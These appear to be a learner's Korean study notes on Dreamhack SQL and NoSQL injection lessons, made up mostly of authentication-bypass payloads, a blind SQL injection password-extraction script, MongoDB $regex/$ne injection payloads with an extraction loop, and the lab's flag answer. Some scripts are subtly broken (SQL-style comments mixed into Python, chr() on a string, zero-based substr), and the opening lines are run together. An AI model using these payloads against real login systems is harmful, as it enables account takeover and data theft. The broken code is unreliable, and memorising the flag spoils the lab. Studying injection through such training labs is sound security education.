[드림핵] SQL Injection
1. Background: Relational DBMS


2. ServerSide: SQL Injection
' 문자를 사용 / ex) SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';--, #, /**/ )을 사용 / ex) SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';ascii 함수 / 전달된 문자를 아스키 형태로 변환substr 함수: 문자열에서 지정한 위치부터 길이까지의 값 가져옴 ```sql
--requests 모듈 GET 예제 코드
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = **requests.get**(url + str(i), headers=headers, params=params)
--requests.get: GET 메소드로 HTTP 요청을 보냄
print(c.request.url)
print(c.text)
```
```sql
--requests 모듈 POST 예제 코드
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = **requests.post**(url + str(i), headers=headers, data=data)
--requests.post: POST 메소드로 HTTP 요청을 보
print(c.text)
```
3. ex) 공격 스크립트 작성: pw는 알파벳, 숫자, 특수문자로 이뤄짐 / 아스키 범위로 32부터 126까지의 모든 문자
```sql
-- upw의 각 문자를 하나씩 비교하기 위한 것--공격 스크립트
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
-- string 모듈을 사용해 알파벳+숫자+특수문자의 문자열 생성
tc = **string**.ascii_letters + **string**.digits + **string**.punctuation
# 사용할(시도할) SQL Injection 쿼리 문자열 정의
-- upw의 각 문자를 하나씩 비교하기 위한 것
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--'''
password = ''
-- 최종적으로 찾아낸 비밀번호 저장할 변수 초기화
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc: --tc를 하나씩 대입
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
--현재 문자를 쿼리에 삽입하여 injection 시도하기 위해 uid 설정
--ord(ch): 문자의 ASCII값 반환
c = requests.get(url, params=params) --get 요청 보냄
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += chr(ch) --성공한 경우, 문자열에 추
break
print(f"Password is {password}")
```
userid와 userpassword를 이용자에게 입력받을 때 검사하는 과정이 없음
RawQuery: 동적으로 생성한 쿼리 / 생성할 때 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있음
admin이라는 결과가 반환되도록 쿼리문 조작
정답:
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
1. Background: Non-Relational DBMS
_ 문자로 시작하는 URL, 필드2. ServerSide: NoSQL Injection
$ne 연산자 / not equal, 일치하지 않는 데이터 반환 
{"uid": "admin", "upw": {"$ne":""}}$regex, $where 연산자를 사용
```sql
{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined
```
**비밀번호 획득**
```sql
{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}
```
string 외에 다양한 형태의 object도 쿼리로 전달 가능함을 확인
코드에서 MongoDB에 쿼리를 전달할 때, 쿼리 변수의 타입 검사를 하지 않음
Blind NoSQL Injection Payload 생성: $regex연산 이용해 데이터 검색
login?uid=guest&upw[$regex]=.*
fliter 우회: 임의 문자를 의미하는 .을 이용하여 우회
login?uid[$regex]=ad.in&upw[$regex]=D.{*
코드 작성: 여러 번 쿼리 전달
import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'**{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}'**)
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
정답: DH{89e50fa6fafe2604e33c0ba05843d3df}